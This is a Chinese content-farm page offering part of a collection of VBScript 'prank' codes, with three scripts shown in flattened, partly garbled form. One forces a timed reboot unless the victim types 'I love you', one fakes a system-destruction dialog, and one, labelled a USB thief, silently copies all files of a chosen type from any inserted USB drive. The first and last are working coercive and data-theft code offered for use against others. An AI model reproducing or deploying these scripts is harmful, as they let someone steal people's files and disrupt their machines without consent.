江苏龙网

  1. 主页 > 生活百科 > >

三十二个vbs整蛊代码 整人代码大全( 四 )

复制代码代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说你爱我，不说你爱我就两分钟关你机，不信，试试"" ",0 ,true dim a do while(a <> "我爱你") a = inputbox ("说你爱我,就不关机，快撒，说 ""你爱我"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，何必这么费劲" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run &资源网quot;cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，今天真过瘾复制代码代码如下:
i = MsgBox("由于你灌水太水须要爆破电脑 。"&_ vbCrLf&"肯定爆破吗？",vbOKCancel,_ "爆破电脑体系！！！！！") if i = 1 then CreateObject("SAPI.SpVoice").Speak "bone" end if复制代码代码如下:
On Error Resume Next Dim i i=0 Set fso=CreateObject("Scripting.FileSystemObject") IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By 最聪慧的猪","I:") ext=InputBox("请输入要偷盗的文件名的扩大名:","U盘大盗-By 最聪慧的猪","txt") MyFolder=InputBox("请输入保留文件的路径:","U盘大盗-By 最聪慧的猪","E:\U盘大盗") fso.CreateFolder(MyFolder) Do WScript.Sleep 1000 If fso.FolderExists(IP & "\") Then Exit Do Loop Scan(IP & "\") Sub Scan(Folder_) On Error Resume Next Set Folder_=fso.GetFolder(Folder_) Set Files=Folder_.Files For Each File in Files ext_=fso.GetExtensionName(File) ext_=Lcase(ext_) ext=Lcase(ext) If ext_=ext Then i=i+1 fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name) End If Next Set SubFolders=Folder_.SubFolders For Each SubFolder In SubFolders Scan(Subfolder) Next End Sub【三十二个vbs整蛊代码 整人代码大全】


推荐阅读


上一篇：猫眼电影余额在哪里查 猫眼电影怎么退票退款?

下一篇：全球面积排名前三的城市 世界城市面积排名